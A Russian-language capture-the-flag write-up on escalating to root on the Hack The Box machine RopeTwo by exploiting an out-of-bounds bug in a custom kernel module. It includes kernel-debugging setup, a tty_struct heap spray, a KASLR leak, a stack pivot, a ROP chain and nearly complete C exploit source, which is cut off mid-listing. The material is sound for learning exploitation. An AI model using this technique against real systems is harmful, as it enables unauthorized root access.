Эксплуатация ядра Linux на виртуалке c Hack The Box

Hack The Box

В этой статье будем раз­бирать одну из самых слож­ных тем в сфе­ре пентеста и взлома — экс­плу­ата­цию ядра Linux. Ты узна­ешь, какие инс­тру­мен­ты при­меня­ются для отладки ядра, что такое LKM, KGDB, IOCTL, TTY, и мно­го дру­гих инте­рес­ных вещей!

Еще по теме: Захват Active Directory на виртуальной машине с HackTheBox

В предыдущих стать­ях мы про­ложи­ли себе путь к поль­зовате­лю r4j на хар­дкор­ной вир­туал­ке RopeTwo. Что­бы доб­рать­ся до рута, оста­ется пос­ледний шаг, но какой! Нас ждет ROP (не зря же вир­туал­ку так наз­вали) и kernel exploitation. Моз­ги будут закипать, обе­щаю! Запасай­ся поп­корном дебаг­гером и поеха­ли!

Разведка

Как и в слу­чае с фла­гом поль­зовате­ля из пре­дыду­щей статьи, пер­вым делом запус­каем LinPEAS и вни­матель­но смот­рим, за что мож­но зацепить­ся. В гла­за бро­сают­ся две подоз­ритель­ные строч­ки:

[+] Looking for Signature verification failed in dmseg
[ 13.882339] ralloc: module verification failed: signature and/or required key missing - tainting kernel
--
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root r4j 5856 Jun 1 2020 /usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko

Статический анализ

Пер­вое, что нам нуж­но, — это ска­чать себе ralloc.ko и нат­равить на него «Гид­ру».

Ви­дим, что ralloc — это LKM, который выпол­няет раз­личные опе­рации с памятью при получе­нии сис­темных вызовов ioctl. По сути, это самопис­ный драй­вер управле­ния памятью, (Superfast memory allocator, как опи­сыва­ет его сам автор), оче­вид­но, что не без уяз­вимос­тей.

LKM (loadable kernel module) — объ­ектный файл, содер­жащий код, который рас­ширя­ет воз­можнос­ти ядра опе­раци­онной сис­темы. В нем реали­зова­ны все­го четыре фун­кции:

  • вы­деле­ние памяти в адресном прос­транс­тве ядра (kmalloc) — вызов ioctl 0x1000;
  • очи­щение памяти в адресном прос­транс­тве ядра (kfree) — вызов ioctl 0x1001;
  • ко­пиро­вание информа­ции из адресно­го прос­транс­тва поль­зовате­ля в прос­транс­тво ядра (memcpy(kernel_addr, user_addr, size)) — вызов ioctl 0x1002;
  • ко­пиро­вание информа­ции из адресно­го прос­транс­тва ядра в прос­транс­тво поль­зовате­ля (memcpy(user_addr, kernel_addr, size)) — вызов ioctl 0x1003.

Ни­же дизас­сем­бли­рован­ный и при­веден­ный в чита­емый вид лис­тинг этих фун­кций:

case 0x1000:    // Функция выделения памяти ядра
  if ((size < 0x401) && (idx < 0x20)) {
    if (arr[idx].size== 0) {
      ptr = __kmalloc(size, 0x6000c0);
      arr[idx].data = ptr;
      if (ptr != 0) {
        arr[idx].size = size_alloc + 0x20;
        return_value = 0;
      }
    }
  }
  break;
case 0x1001:    // Функция освобождения памяти ядра
  if ((idx < 0x20) && arr[idx].data != 0)) {
      kfree(arr[idx].ptr);
      arr[idx].size = 0;
      return_value = 0;
    }
  break;
case 0x1002:    // Функция копирования из user space в kernel space
  if (idx < 0x20) {
    __dest = arr[idx].data;
    __src = ptrUserSpace;
    if ((arr[idx].data != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) {
      if ((ptrUserSpace & 0xffff000000000000) == 0) {
        memcpy(__dest, __src, size & 0xffffffff);
        result = 0;
      }
    }
  }
  break;
case 0x1003:    // Функция копирования из kernel space в user space
  if (idx < 0x20) {
    __dest = ptrUserSpace;
    __src = arr[idx].data;
    if ((__src != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) {
      if ((ptrUserSpace & 0xffff000000000000) == 0) {
        memcpy(__dest, __src, size & 0xffffffff);
        result = 0;
      }
    }
  }
  break;

Пос­мотри вни­матель­но на лис­тинг. Воз­можно, ты най­дешь уяз­вимость, она поч­ти сра­зу бро­сает­ся в гла­за! А пока зай­мем­ся под­готов­кой стен­да.

Разворачиваем стенд

Оче­вид­но, что для отладки ядра нам понадо­бит­ся вир­туаль­ная машина. Да не одна, а целых две! Одна сыг­рает роль хос­та, где уста­нов­лено ядро с отла­доч­ными сим­волами и где мы при­меним отладчик GDB, вто­рая будет запус­кать­ся в режиме KGDB (отладчик ядра Linux). Связь меж­ду вир­туаль­ными машина­ми уста­нав­лива­ется либо по пос­ледова­тель­ному пор­ту, либо по локаль­ной сети. Схе­матич­но это выг­лядит так.

Схема отладки ядра Linux
Схе­ма отладки ядра Linux

Су­щес­тву­ет нес­коль­ко сред вир­туали­зации, на которых мож­но раз­вернуть стенд: VirtualBox, QEMU (самый прос­той вари­ант) или VMware. Я выб­рал пер­вый вари­ант. Если захочешь поп­ракти­ковать­ся с QEMU, то на GitHub есть ру­ководс­тво.

Так­же я нашел неп­лохое видео, которое под­робно показы­вает нас­трой­ку VirtualBox для отладки ядра.

Эксплуатация ядра Linux на виртуалке c Hack The Box

Ос­тановим­ся на глав­ных момен­тах. Пер­вым делом пос­мотрим, какая вер­сия ядра исполь­зует­ся в RopeTwo:

r4j@rope2:~$ lsb_release -r && uname -r
Release: 19.04
5.0.0-38-generic

Ска­чива­ем и раз­ворачи­ваем ВМ с Ubuntu 19.04. Далее уста­нав­лива­ем ядро нуж­ной вер­сии (и свои любимые средс­тва отладки и ути­литы):

apt-get install linux-image-5.0.0-38-generic

Те­перь мож­но сде­лать клон ВМ. На хост нам нуж­но заг­рузить яд­ро с сим­волами отладки. Нам нужен файл linux-image-unsigned-5.0.0-38-generic-dbgsym_5.0.0-38.41_amd64.ddeb (838,2 Мибайт).

На тар­гете нуж­но вклю­чить режим отладки ядра (KGDB). Для это­го сна­чала нас­тро­им заг­рузчик, изме­ним в фай­ле /etc/default/grub сле­дующие строч­ки:

GRUB_CMDLINE_LINUX="kgdboc=ttyS0,115200"
GRUB_CMDLINE_LINUX_DEFAULT="consoleblank=0 nokaslr"

Тем самым мы даем KGDB коман­ду слу­шать под­клю­чения отладчи­ка на пор­те ttyS0, а так­же отклю­чаем KASLR (kernel address space layout randomization) и очис­тку кон­соли.

Вы­пол­няем коман­ду update-grub, что­бы записать парамет­ры в заг­рузчик. Пос­ле это­го мож­но удос­товерить­ся, что зна­чения попали в кон­фиг GRUB, — ищи их в фай­ле /boot/grub/grub.cfg.

Ес­ли бы мы хотели отла­живать само ядро, было бы необ­ходимо добавить параметр kgdbwait, что­бы заг­рузчик оста­новил­ся перед заг­рузкой ядра и ждал под­клю­чения GDB с хос­та. Но так как нас инте­ресу­ет не само ядро, а LKM, то это не тре­бует­ся.

Да­лее про­верим, что у нас в сис­теме вклю­чены пре­рыва­ния отладки:

root@target:/boot# grep -i CONFIG_MAGIC_SYSRQ config-5.0.0-38-generic
CONFIG_MAGIC_SYSRQ=y
CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x01b6
CONFIG_MAGIC_SYSRQ_SERIAL=y

и текущие фла­ги пре­рыва­ний:

cat /proc/sys/kernel/sysrq
176

Вклю­чим на тар­гете все фун­кции «магичес­ких» пре­рыва­ний сис­темы:

echo "1" > /proc/sys/kernel/sysrq
echo "kernel.sysrq = 1" >> /etc/sysctl.d/99-sysctl.conf

Под­робнее о них мож­но почитать в до­кумен­тации.

Те­перь, если ты вве­дешь echo g > /proc/sysrq-trigger, сис­тема завис­нет в ожи­дании под­клю­чения отладчи­ка.

Ос­талось свя­зать хост и тар­гет меж­ду собой. Для это­го необ­ходимо вклю­чить в нас­трой­ках обе­их ВМ Serial Port. На тар­гете это выг­лядит так.

Настройки Serial port на таргете
Нас­трой­ки Serial port на тар­гете

А на хос­те — так.

Настройки Serial port на хост
Нас­трой­ки Serial port на хост

Об­рати вни­мание, что на хос­те уста­нов­лена галоч­ка Connect to existing pipe/socket! Поэто­му сна­чала мы заг­ружа­ем ВМ тар­гета и толь­ко потом ВМ хос­та.

Те­перь вся готово для отладки, про­веря­ем.

Проверка работы KGDB
Про­вер­ка работы KGDB

KGDB так­же мож­но акти­виро­вать «магичес­кой» ком­бинаци­ей кла­виш в VirtualBox: Alt-PrintScr-g.

За­киды­ваем в тар­гет модуль ralloc.ko и заг­ружа­ем его коман­дой insmod ralloc.ko. Основные коман­ды для работы с модуля­ми ядра:

  • depmod — вывод спис­ка зависи­мос­тей и свя­зан­ных map-фай­лов для модулей ядра;
  • insmod — заг­рузка модуля в ядро;
  • lsmod — вывод текуще­го ста­туса модулей ядра;
  • modinfo — вывод информа­ции о модуле ядра;
  • rmmod — уда­ление модуля из ядра;
  • uname — вывод информа­ции о сис­теме.

Пос­ле заг­рузки модуля можем пос­мотреть его кар­ту адре­сов коман­дой grep ralloc /proc/kallsyms. Запом­ни ее — эта коман­да еще не раз нам при­годит­ся.

Карта адресов модуля ralloc
Кар­та адре­сов модуля ralloc

Для отладки нам понадо­бят­ся адре­са областей .text, .data и .bss:

root@target:~# cd /sys/module/ralloc/sections && cat .text .data .bss
0xffffffffc03fb000
0xffffffffc03fd000
0xffffffffc03fd4c0

Пос­мотрим, какие защит­ные механиз­мы вклю­чены в ядре.

r4j@rope2:~$ cat /proc/cpuinfo | grep flags
flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2
syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid
pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic
cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx clflushopt
sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor

Ви­дим, что SMEP вклю­чен, а SMAP — нет. В этом мож­но убе­дить­ся сле­дующим обра­зом:

r4j@rope2:/tmp$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-5.0.0-38-generic root=UUID=8e0d770e-1647-4f8e-9d30-765ce380f9b7 ro maybe-ubiquity nosmap

Supervisor mode execution protection (SMEP) и supervisor mode access prevention (SMAP) — фун­кции безопас­ности, которые исполь­зуют­ся в пос­ледних поколе­ниях CPU. SMEP пре­дот­вра­щает исполне­ние кода из режима ядра в адресном прос­транс­тве поль­зовате­ля, SMAP —неп­редна­мерен­ный дос­туп из режима ядра в адресное прос­транс­тво поль­зовате­ля. Эти опции кон­тро­лиру­ются вклю­чени­ем опре­делен­ных битов в регис­тре CR4. Под­робнее об этом мож­но почитать в докумен­тации Intel (PDF).

Так­же вклю­чен KASLR — это умол­чатель­ный вари­ант в новых вер­сиях ядра Linux.

Создание эксплоита

Итак, какая же уяз­вимость при­сутс­тву­ет в ralloc? Раз­гадка кро­ется в стро­ке arr[idx].size = size_alloc + 0x20;, это зна­чит, что мы можем читать и писать на 32 бай­та боль­ше реаль­ного объ­ема выделен­ной памяти. Неп­лохо! Но как мы можем это исполь­зовать?

По­ка я изу­чал при­меры kernel exploitation (зна­читель­ная часть которых на китай­ском, но Google Translate нам в помощь), появил­ся план дей­ствий. Пер­вое, на что надо обра­тить вни­мание, — мак­сималь­ный раз­мер учас­тка памяти сос­тавля­ет 1024 бай­та. Есть еще одна извес­тная струк­тура, которая исполь­зует такой же раз­мер, — tty_struct.

tty_struct исполь­зует­ся ядром TTY для кон­тро­ля за текущим сос­тоянием на кон­крет­ном пор­те.

Ес­ли мы выделим два сосед­них учас­тка памяти, а потом осво­бодим вто­рой из них и вызовем псев­дотер­минал, с боль­шой веро­ятностью менед­жер памяти ядра заг­рузит tty_struct в толь­ко что осво­бож­денный учас­ток. В таком слу­чае у нас будет воз­можность читать пер­вые 32 бай­та этой струк­туры и писать в них, исполь­зуя уяз­вимость OOB (out-of-bounds). Бла­года­ря это­му мы можем про­читать и переза­писать ука­затель *ops, который рас­положен в начале tty_struct и содер­жит адрес ptm_unix98_ops, и вычис­лить по его сме­щению адрес kernel base. Зная его, мы можем сос­тавить ROP chain, помес­тить его по опре­делен­ному адре­су и перенап­равить на него ука­затель сте­ка. В этом нам поможет замена ука­зате­ля *ops под­дель­ной струк­турой tty_operations, в которой ука­затель ioctl заменен гад­жетом xchg eax esp. Дол­жно сра­ботать, поп­робу­ем это реали­зовать.

Еще по теме: Повышение привилегий в Linux

Пи­сать экс­пло­ит мы будем на ста­ром доб­ром (а для кого‑то не очень) С. Для начала, как всег­да, напишем вспо­мога­тель­ные фун­кции. Точ­нее, это будет все­го одна фун­кция, которая вызыва­ется мак­росами с нуж­ными парамет­рами:

void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) {
  long int arg[3]={idx,size,data};
  int ret = ioctl(fd, cmd, &arg);
}

Те­перь про­верим, смо­жем ли мы заг­рузить tty_struct в осво­бож­денный учас­ток памяти. Пом­нишь, что нас инте­ресу­ет ука­затель на ptm_unix98_ops? Для начала най­дем его адрес:

root@target:~# grep ptm_unix98_ops /proc/kallsyms
ffffffff820af6a0 r ptm_unix98_ops

А теперь исполь­зуем сле­дующий код (я при­вожу толь­ко клю­чевые стро­ки кода для эко­номии мес­та, пол­ный код для ком­пиляции ты можешь вос­ста­новить из исходни­ка экс­пло­ита в кон­це статьи):

del(fd,1);
del(fd,2);
alloc(fd,1,0x400);
alloc(fd,2,0x400);
del(fd,2);
tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
kernel_to_user(fd, 1, 0x420, data);
for(int i=128;i<132;i+=2){
  printf("%016llx  |  %016llx\n",data[i],data[i+1]);
}

/dev/ptmx исполь­зует­ся для соз­дания пары основно­го и под­чинен­ного псев­дотер­минала. Ког­да про­цесс откры­вает /dev/ptmx, то он получа­ет опи­сатель фай­ла для основно­го псев­дотер­минала (PTM, pseudo-terminal master), а в катало­ге /dev/pts соз­дает­ся устрой­ство под­чинен­ного псев­дотер­минала (PTS, pseudo-terminal slave).

Ском­пилиру­ем код коман­дой gcc -static tty_test.c -o tty_test и пос­мотрим, что получа­ется.

Ключ -static зас­тавля­ет ком­пилятор вклю­чить в бинар­ный файл все необ­ходимые биб­лиоте­ки.

artex@target:~$ ./tty_test
59dfb48431ee39b3  |  0000000000000000
ffff8881923f9cc0  |  ffffffff820af6a0

Пос­ле нес­коль­ких запус­ков мы видим нуж­ный ука­затель на ptm_unix98_ops!

Но иног­да мы видим прос­то мусор или нули. Поп­робу­ем разоб­рать­ся в этом с помощью GDB.

Мо­дифи­циру­ем код:

alloc(fd,1,0x400);
alloc(fd,2,0x400);
data[3]=0xdeadbeef;
user_to_kernel(fd, 2, 0x400, data);
kernel_to_user(fd, 1, 0x420, data);
printf("%016llx",data[131]);

На­ша цель — выделить два чан­ка, записать дан­ные во вто­рой, а про­читать началь­ные 32 бай­та, обра­щаясь к пер­вому. Теперь, если ском­пилиро­вать и запус­тить нашу тес­товую прог­рамму нес­коль­ко раз, уви­дим, что пос­ледова­тель­ность 0xdeadbeef мы получа­ем далеко не всег­да. Про­верим в GDB.

Для начала сде­лаем на тар­гете пре­рыва­ние, заг­рузим в GDB на хос­те адре­са ralloc и уста­новим брейк перед вызовом фун­кции __kmalloc (сме­щение от начала rope2_ioctl — 0x156):

add-symbol-file ralloc.ko 0xffffffffc03fa000 -s .data 0xffffffffc03fc000 -s .bss 0xffffffffc03fc4c0
b *0xffffffffc03fa156

Пос­ледова­тель­ность дей­ствий в GDB дол­жна быть такой:

step
__kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788
finish
Value returned is $1 = (void *) 0xffff88818c968000
continue
step
__kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788
finish
Value returned is $2 = (void *) 0xffff888191c2b400

Ко­ман­да step поз­воля­ет нам перей­ти к сле­дующей инс­трук­ции — вызову фун­кции kmalloc, а finish — получить воз­вра­щаемое ей зна­чение.

Ви­дим, что адре­са двух чан­ков не сле­дуют друг за дру­гом, точ­нее такое быва­ет, но далеко не всег­да. Сле­дова­тель­но, преж­де чем осво­бож­дать память для tty_struct, нам необ­ходимо вста­вить про­вер­ку смеж­ности чан­ков. Для это­го исполь­зует­ся цикл с алго­рит­мом, похожим на про­вер­ку выше (смот­ри код экс­пло­ита в кон­це статьи).

Пос­ле того как мы наш­ли смеж­ные чан­ки и записа­ли tty_struct в осво­бож­денный учас­ток памяти, мы можем про­читать нуж­ный адрес и вычис­лить по нему kernel base — базовый адрес ядра. Далее перехо­дим к самому инте­рес­ному — пос­тро­ению ROPchain.

На­чина­ем с модели­рова­ния. Нам нуж­на фун­кция, которая поз­волит повысить наши при­виле­гии до root. Один из самых дос­тупных вари­антов для это­го — фун­кция commit_creds(prepare_kernel_cred(NULL));. Если мы вызовем commit_creds от име­ни сис­темы и переда­дим ей в качес­тве парамет­ра prepare_kernel_cred(NULL), мы заменим UID нашего про­цес­са на 0. Это про­исхо­дит потому, что, получив в качес­тве парамет­ра NULL, prepare_kernel_cred воз­вра­щает пол­номочия про­цес­са ини­циали­зации init_cred, а эти пол­номочия соот­ветс­тву­ют пол­номочи­ям root. Так­же мож­но сра­зу передать фун­кции commit_creds струк­туру init_cred, что мы и сде­лаем. Под­робнее о пол­номочи­ях в Linux читай в до­кумен­тации.

Пос­коль­ку у нас акти­вен SMEP, мы не можем выпол­нять код в прос­транс­тве User, а дол­жны исполь­зовать гад­жеты из ядра сис­темы. Вто­рой путь — отклю­чить SMEP, помес­тив в регистр cr4 зна­чение 0x6f0. Можешь поп­робовать реали­зовать это самос­тоятель­но в качес­тве упражне­ния, а мы пой­дем по пер­вому пути. Для это­го нам тре­бует­ся:

  • по­мес­тить init_cred в регистр RDI (пер­вый параметр фун­кции);
  • выз­вать commit_creds;
  • ак­курат­но вер­нуть­ся в кон­текст поль­зовате­ля, ничего не сло­мав, и запус­тить shell.

Для перек­лючения кон­тек­ста сущес­тву­ет инс­трук­ция iretq, но перед ее вызовом тре­бует­ся выпол­нить инс­трук­цию swapgs, что­бы вос­ста­новить зна­чение IA32_KERNEL_GS_BASE MSR (model-specific register). Так как при перехо­де в режим ядра (нап­ример, при вызове syscall) вызыва­ется swapgs для получе­ния ука­зате­ля на струк­туры дан­ных ядра, при воз­вра­щении в режим поль­зовате­ля нуж­но вер­нуть это зна­чение обратно в MSR. Озна­комить­ся с опи­сани­ем swapgs мож­но на сай­те Фелик­са Клутье. Для кор­рек­тно­го воз­вра­щения в user space инс­трук­ция iretq так­же тре­бует соб­людения опре­делен­ной струк­туры сте­ка.

Структура стека, необходимая iretq
Струк­тура сте­ка, необ­ходимая iretq

По­это­му нам нуж­но сох­ранить зна­чения этих регис­тров перед вызовом ROPchain и вос­ста­новить в момент воз­вра­щения в user space. Сох­ранить регис­тры мож­но с помощью сле­дующей фун­кции:

asm(
  "movq %%cs, %0\n"
  "movq %%ss, %1\n"
  "movq %%rsp, %2\n"
  "pushfq\n"
  "popq %3\n"
  : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory"
);

Ос­талось най­ти ROP-гад­жеты и сос­тавить ROPchain.

Есть нес­коль­ко ути­лит для поис­ка гад­жетов ROP, нап­ример ROPgadget, xrop, ropper. Все они при­меня­ют раз­ные алго­рит­мы поис­ка, и спис­ки най­ден­ных гад­жетов нем­ного отли­чают­ся. Поэто­му, если ты не смог най­ти нуж­ный гад­жет одной из ути­лит, можешь поп­робовать дру­гую. Итак, нам нуж­но:

  • рас­паковать ядро;
  • най­ти гра­ницы области .text (гад­жеты из дру­гих областей час­то могут не работать);
  • ус­тановить и запус­тить ROPgadget, сох­ранив все най­ден­ные гад­жеты в файл.
root@target:/boot# /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux vmlinuz-$(uname -r) > vmlinux
root@target:/boot# egrep " _text$| _etext$" System.map-5.0.0-38-generic
ffffffff81000000 T _text
ffffffff81e00e91 T _etext
ROPgadget --binary vmlinux --range 0xfffffff81000000-0xffffffff81e00e91 | sort > rgadget.lst

Те­перь коман­дой grep ищем адре­са нуж­ных нам гад­жетов в rgadget.lst, а адре­са init_cred и commit_creds — в /proc/kallsyms (это будет тво­им домаш­ним задани­ем). А вот iretq при­дет­ся искать в ядре с помощью objdump:

root@target:/boot# objdump -j .text -d vmlinux | grep iretq | head -1

Пос­ле того как адре­са соб­раны, нам нуж­но рас­счи­тать их сме­щения от базово­го адре­са, пос­коль­ку на сер­вере акти­виро­ван KASLR и работать мы будем со сме­щени­ями. Для это­го я написал мак­росы:

#define BASE      0xffffffff81000000
#define OFFSET(addr)  ((addr) - (BASE))
#define ADDR(offset)  (kernel_base + (offset))

В ито­ге у нас получил­ся вот такой ROPchain:

unsigned long long rop_chain[] = {
  // Помещаем в RDI init_cred (первый параметр функции)
  ADDR(pop_rdi_ret),
  ADDR(init_cred),
  // Выполняем commit_creds(init_cred)
  // и получаем UID процесса — 0 (root)
  ADDR(commit_creds),
  // Меняем местами (восстанавливаем) значения регистров
  // GS и MSR (IA32_KERNEL_GS_BASE)
  ADDR(swapgs),
  // Пустышка для pop rbp гаджета swapgs
  0xdeadbeef,
  // Переключаем контекст на user space
  ADDR(iretq),
  // Запускаем shell
  shell,
  // Восстанавливаем регистры
  user_cs,
  user_rflags,
  user_sp,
  user_ss
};

Ос­талось пос­леднее и самое глав­ное — зас­тавить RSP (Stack Pointer) сте­ка ядра перек­лючить­ся на наш ROPchain и получить шелл. Пом­нишь, мы записа­ли tty_struct в осво­бож­денный чанк и можем переза­писать пер­вые 32 бай­та этой струк­туры? Начало этой струк­туры выг­лядит так:

tty_struct:
  int magic; // 4
  struct kref kref; // 4
  struct device *dev; // 8
  struct tty_driver *driver; // 8
  const struct tty_operations *ops; // 8
  // offset = 4 + 4 + 8 + 8 = 24 байт = 0x18
  ...

Мы можем под­делать струк­туру tty_operations и заменить этот ука­затель нашей под­дель­ной струк­турой. Что нам это даст? Вот как выг­лядит начало tty_operations (пол­ное ее опи­сание мож­но най­ти в ис­ходни­ках):

struct tty_operations {
  struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /*     0     8 */
  int (*install)(struct tty_driver *, struct tty_struct *);              /*     8     8 */
  void (*remove)(struct tty_driver *, struct tty_struct *);              /*    16     8 */
  int (*open)(struct tty_struct *, struct file *);                       /*    24     8 */
  void (*close)(struct tty_struct *, struct file *);                     /*    32     8 */
  void (*shutdown)(struct tty_struct *);                                 /*    40     8 */
  void (*cleanup)(struct tty_struct *);                                  /*    48     8 */
  int (*write)(struct tty_struct *, const unsigned char *, int);         /*    56     8 */
  int (*put_char)(struct tty_struct *, unsigned char);                   /*    64     8 */
  void (*flush_chars)(struct tty_struct *);                              /*    72     8 */
  int (*write_room)(struct tty_struct *);                                /*    80     8 */
  int (*chars_in_buffer)(struct tty_struct *);                           /*    88     8 */
  int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int);    /*    96     8 */
  ...

Ее три­над­цатый эле­мент — ука­затель на ioctl. Если мы заменим этот ука­затель и вызовем ioctl, передав ему fd (file descriptor), который вер­нул ptmx, мы смо­жем выз­вать нуж­ную нам инс­трук­цию.

А так как мы хотим заменить RSP на нуж­ный нам адрес, заменим *ioctl адре­сом гад­жета xchg eax, esp; ret;. Так как этот адрес будет содер­жать­ся в rax при вызове ioctl, наш гад­жет xchg «перек­лючит» ука­затель сте­ка на адрес ADDR(xchg_eax_esp) & 0xFFFFFFFF (млад­шие 32 бита rax). Имен­но туда мы и запишем наш ROPchain!

Схе­матич­но весь про­цесс экс­плу­ата­ции мож­но пред­ста­вить так.

Алгоритм работы эксплоита
Ал­горитм работы экс­пло­ита

Для отладки веша­ем в отладчи­ке брейк на xchg_eax_esp (break *0xffffffff8104cba4), дела­ем шаг впе­ред (step) и убеж­даем­ся, что ука­затель сте­ка ядра теперь «смот­рит» на наш ROPchain.

ROPchain в отладчике
ROPchain в отладчи­ке

На­конец‑то наш экс­пло­ит готов, при­вожу его пол­ный лис­тинг:

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include <sys/mman.h>
#include <sys/ioctl.h>
#include 
#define CMD_ALLOC 0x1000
#define CMD_FREE  0x1001
#define CMD_USER_TO_KERNEL  0x1002
#define CMD_KERNEL_TO_USER  0x1003
#define BUF_SIZE 0x400
#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)
/* Макросы для вызова функций ralloc */
#define alloc(fd, idx, size) call_ralloc(fd, idx, size, 0, CMD_ALLOC)
#define del(fd, idx)         call_ralloc(fd, idx, 0, 0, CMD_FREE)
#define user_to_kernel(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_USER_TO_KERNEL)
#define kernel_to_user(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_KERNEL_TO_USER)
/* Макросы для вычисления смещений адресов */
#define BASE      0xffffffff81000000
#define OFFSET(addr)  ((addr) - (BASE))
#define ADDR(offset)  (kernel_base + (offset))
unsigned long kernel_base = 0;
/* ROP Gadgets */
typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);
commit_creds_func commit_creds = (commit_creds_func) OFFSET(0xffffffff810c0540); // commit_creds
size_t init_cred = OFFSET(0xffffffff8265fa00);  // init_cred
size_t xchg_eax_esp = OFFSET(0xffffffff8104cba4); // xchg eax, esp; ret;
size_t pop_rdi_ret = OFFSET(0xffffffff8108b8a0); // pop rdi ; ret;
size_t iretq = OFFSET(0xffffffff810379fb); // iretq
size_t swapgs = OFFSET(0xffffffff81074b54); // swapgs; pop rbp; ret;
/* Переменные для сохранения пользовательского контекста */
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;
unsigned long data[0x420]; // Массив для операций с ralloc
size_t fake_tty_operations[30]; // Массив для подмены указателя ioctl
/* Функция взаимодействия с драйвером ralloc */
void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) {
  long int arg[3]={idx,size,data};
  int ret = ioctl(fd, cmd, &arg);
  if (ret < 0) {
    if (cmd==CMD_USER_TO_KERNEL)
      err_exit("[!] user_to_kernel copy error");
    if (cmd==CMD_KERNEL_TO_USER)
      err_exit("[!] kernel_to_user copy error");
  }
}
/* Функция вызова shell */
void shell() {
  puts("-=Welcome to root shell=-");
  system("/bin/bash");
}
/* Функция сохранения состояния регистров */
static void save_state() {
  asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %2\n"
    "pushfq\n"
    "popq %3\n"
    : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory"
  );
}
int main () {
  bool isTRY = true;
  save_state();
  while (isTRY) { // Продолжаем попытки, пока не найдем адрес ptm_unix98_ops
    int index=0x20;
    int tty_fd;
    /* Открываем файловый дескриптор для драйвера */
    int fd = open("/dev/ralloc", O_RDONLY);
    if (fd < 0) {
      err_exit("[!] open /dev/ralloc");
  }
  size_t ptr = 0;
  data[3]=0xdeadbeef; // Значение для проверки чанков на смежность
  int fake_stack=0;
  /* Цикл для поиска смежных чанков */
  puts("[+] Searching adjacent slabs");
  for(int j=0; j<0x20; j+=2) {
    del(fd,j); // Профилактика зависших дескрипторов
    del(fd,j+1);
    alloc(fd,j,BUF_SIZE);
    alloc(fd,j+1,BUF_SIZE);
    user_to_kernel(fd, j+1, BUF_SIZE, data);
    kernel_to_user(fd, j, 0x420, data); // Читаем на 32 байта больше
    /* Проверяем, смежные ли чанки */
    if (data[131]==0xdeadbeef) {
      puts("[+] Adjacent slabs found");
      index=j;
      break;
    }
  }
  if (index==0x20) {
    puts("[-] Adjacent slabs not found, one more time..\n");
  } else {
    /* Смежные чанки найдены */
    puts("[+] Inserting tty_struct");
    del(fd,index+1);
    /* Пробуем поместить tty_struct в только что освобожденный чанк */
    tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    kernel_to_user(fd, index, 0x420, data); // Читаем на 32 байта больше
    /* Сравниваем значение в освобожденном чанке + 0x18 с маской адреса ptm_unix98_ops (последние байты которого всегда равны 6a0) */
    ptr = ((data[131] & 0xFFFFFFFF00000FFF)==0xffffffff000006a0 ? data[131] : 0);
    if (ptr != 0) {
      printf("[+] ptm_unix98_ops address found: %p\n",data[131]);
      kernel_base = data[131]-OFFSET(0xffffffff820af6a0); // Вычисляем kernel_base по смещению ptm_unix98_ops
      printf("[+] Kernel base address is %p\n", kernel_base);
      fake_tty_operations[12] = ADDR(xchg_eax_esp); // Пишем адрес инструкции xchg eax esp вместо указателя ioctl
      printf("[+] fake_tty_operations.ioctl is %p\n", fake_tty_operations[12]);
      puts("[+] Preparing ROP chain");
      unsigned long lower_address = ADDR(xchg_eax_esp) & 0xFFFFFFFF; // Выделяем младшие 32 бита адреса xchg_eax_esp (stack pivot)
      printf("[+] Lower_address is %p\n", lower_address);
      unsigned long base = ADDR(xchg_eax_esp) & 0xfffff000; // Готовим базу для фейкового стека в user space
      /* Выделяем память для фейкового стека */
      fake_stack=mmap(base, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0);
      if (fake_stack == MAP_FAILED)
        err_exit("[-] mmap");
        printf("[+] Payload is mmaped to %p\n", fake_stack);
        /* ROPchain */
        unsigned long long rop_chain[] = {
          // Помещаем в RDI init_cred (первый параметр функции)
          ADDR(pop_rdi_ret),
          ADDR(init_cred),
          // Выполняем commit_creds(init_cred) и получаем UID процесса — 0 (root)
          ADDR(commit_creds),
          // Меняем местами (восстанавливаем) значения регистра GS и MSR (IA32_KERNEL_GS_BASE)
          ADDR(swapgs),
          // Пустышка для pop rbp гаджета swapgs
          0xdeadbeef,
          // Переключаем контекст на user space
          ADDR(iretq),
          // Запускаем shell
          shell,
          // Восстанавливаем регистры контекста
          user_cs,
          user_rflags,
